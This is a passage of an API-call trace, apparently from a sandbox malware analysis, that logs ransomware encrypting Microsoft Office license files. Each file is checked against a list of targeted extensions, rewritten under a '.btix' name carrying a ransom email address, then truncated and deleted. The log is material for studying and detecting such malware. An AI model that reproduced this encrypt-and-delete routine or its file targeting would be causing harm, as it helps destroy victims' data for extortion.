lpString2="m-ms") returned -1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.834] lstrlenW (lpString=".zip") returned 4 [0143.834] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.834] lstrlenW (lpString=".rar") returned 4 [0143.834] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.834] lstrlenW (lpString=".bz2") returned 4 [0143.834] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.834] lstrlenW (lpString=".7z") returned 3 [0143.834] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.834] lstrlenW (lpString=".dbf") returned 4 [0143.834] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.834] lstrlenW (lpString=".1cd") returned 4 [0143.834] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0143.834] lstrlenW (lpString=".jpg") returned 4 [0143.834] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.834] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0143.834] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23 [0143.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.835] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=20967) returned 1 [0143.835] CloseHandle (hObject=0x530) returned 1 [0143.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0143.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.836] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.836] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0143.836] GetLastError () returned 0x0 [0143.836] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x51e7, lpOverlapped=0x0) returned 1 [0143.869] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x51f0, lpOverlapped=0x0) returned 1 [0143.870] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.870] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x102, lpOverlapped=0x0) returned 1 [0143.870] SetEndOfFile (hFile=0x390) returned 1 [0143.871] CloseHandle (hObject=0x390) returned 1 [0143.871] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.871] SetEndOfFile (hFile=0x530) returned 1 [0143.873] CloseHandle (hObject=0x530) returned 1 [0143.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0143.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.874] lstrlenW (lpString=".doc") returned 4 [0143.874] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString=".docx") returned 5 [0143.874] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.874] lstrlenW (lpString=".pdf") returned 4 [0143.874] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString=".xls") returned 4 [0143.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString=".xlsx") returned 5 [0143.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.874] lstrlenW (lpString=".ppt") returned 4 [0143.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.874] lstrlenW (lpString=".zip") returned 4 [0143.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString=".rar") returned 4 [0143.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString=".bz2") returned 4 [0143.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString=".7z") returned 3 [0143.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.874] lstrlenW (lpString=".dbf") returned 4 [0143.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString=".1cd") returned 4 [0143.875] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString=".jpg") returned 4 [0143.875] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString=".doc") returned 4 [0143.875] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString=".docx") returned 5 [0143.875] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.875] lstrlenW (lpString=".pdf") returned 4 [0143.875] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString=".xls") returned 4 [0143.875] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString=".xlsx") returned 5 [0143.875] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.875] lstrlenW (lpString=".ppt") returned 4 [0143.875] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString=".zip") returned 4 [0143.875] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString=".rar") returned 4 [0143.875] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString=".bz2") returned 4 [0143.875] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString=".7z") returned 3 [0143.875] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString=".dbf") returned 4 [0143.875] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString=".1cd") returned 4 [0143.875] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0143.875] lstrlenW (lpString=".jpg") returned 4 [0143.876] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.876] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0143.876] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26 [0143.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.876] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11586) returned 1 [0143.876] CloseHandle (hObject=0x530) returned 1 [0143.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0143.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.877] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.877] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0143.877] GetLastError () returned 0x0 [0143.877] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d42, lpOverlapped=0x0) returned 1 [0143.881] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0143.882] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.882] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x108, lpOverlapped=0x0) returned 1 [0143.882] SetEndOfFile (hFile=0x390) returned 1 [0143.882] CloseHandle (hObject=0x390) returned 1 [0143.882] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.882] SetEndOfFile (hFile=0x530) returned 1 [0143.886] CloseHandle (hObject=0x530) returned 1 [0143.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0143.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.887] lstrlenW (lpString=".doc") returned 4 [0143.887] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.887] lstrlenW (lpString=".docx") returned 5 [0143.887] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.887] lstrlenW (lpString=".pdf") returned 4 [0143.888] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".xls") returned 4 [0143.888] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".xlsx") returned 5 [0143.888] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.888] lstrlenW (lpString=".ppt") returned 4 [0143.888] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.888] lstrlenW (lpString=".zip") returned 4 [0143.888] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".rar") returned 4 [0143.888] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".bz2") returned 4 [0143.888] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".7z") returned 3 [0143.888] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.888] lstrlenW (lpString=".dbf") returned 4 [0143.888] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.888] lstrlenW (lpString=".1cd") returned 4 [0143.888] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.888] lstrlenW (lpString=".jpg") returned 4 [0143.888] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.888] lstrlenW (lpString=".doc") returned 4 [0143.888] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".docx") returned 5 [0143.888] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.888] lstrlenW (lpString=".pdf") returned 4 [0143.888] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".xls") returned 4 [0143.888] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.888] lstrlenW (lpString=".xlsx") returned 5 [0143.889] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.889] lstrlenW (lpString=".ppt") returned 4 [0143.889] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.889] lstrlenW (lpString=".zip") returned 4 [0143.889] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.889] lstrlenW (lpString=".rar") returned 4 [0143.889] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.889] lstrlenW (lpString=".bz2") returned 4 [0143.889] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.889] lstrlenW (lpString=".7z") returned 3 [0143.889] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.889] lstrlenW (lpString=".dbf") returned 4 [0143.889] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.889] lstrlenW (lpString=".1cd") returned 4 [0143.889] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0143.889] lstrlenW (lpString=".jpg") returned 4 [0143.889] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.889] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0143.889] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29 [0143.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.890] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6860) returned 1 [0143.890] CloseHandle (hObject=0x530) returned 1 [0143.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0143.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.890] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.890] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0143.891] GetLastError () returned 0x0 [0143.891] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0143.892] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0143.893] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.893] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x10e, lpOverlapped=0x0) returned 1 [0143.893] SetEndOfFile (hFile=0x390) returned 1 [0143.893] CloseHandle (hObject=0x390) returned 1 [0143.893] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.893] SetEndOfFile (hFile=0x530) returned 1 [0143.895] CloseHandle (hObject=0x530) returned 1 [0143.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0143.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0143.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0143.896] lstrlenW (lpString=".doc") returned 4 [0143.896] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString=".docx") returned 5 [0143.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.897] lstrlenW (lpString=".pdf") returned 4 [0143.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString=".xls") returned 4 [0143.897] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString=".xlsx") returned 5 [0143.897] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.897] lstrlenW (lpString=".ppt") returned 4 [0143.897] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0143.897] lstrlenW (lpString=".zip") returned 4 [0143.897] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString=".rar") returned 4 [0143.897] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString=".bz2") returned 4 [0143.897] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString=".7z") returned 3 [0143.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0143.897] lstrlenW (lpString=".dbf") returned 4 [0143.897] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0143.897] lstrlenW (lpString=".1cd") returned 4 [0143.897] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0143.897] lstrlenW (lpString=".jpg") returned 4 [0143.897] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.898] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11609) returned 1 [0143.898] CloseHandle (hObject=0x530) returned 1 [0143.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0143.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: 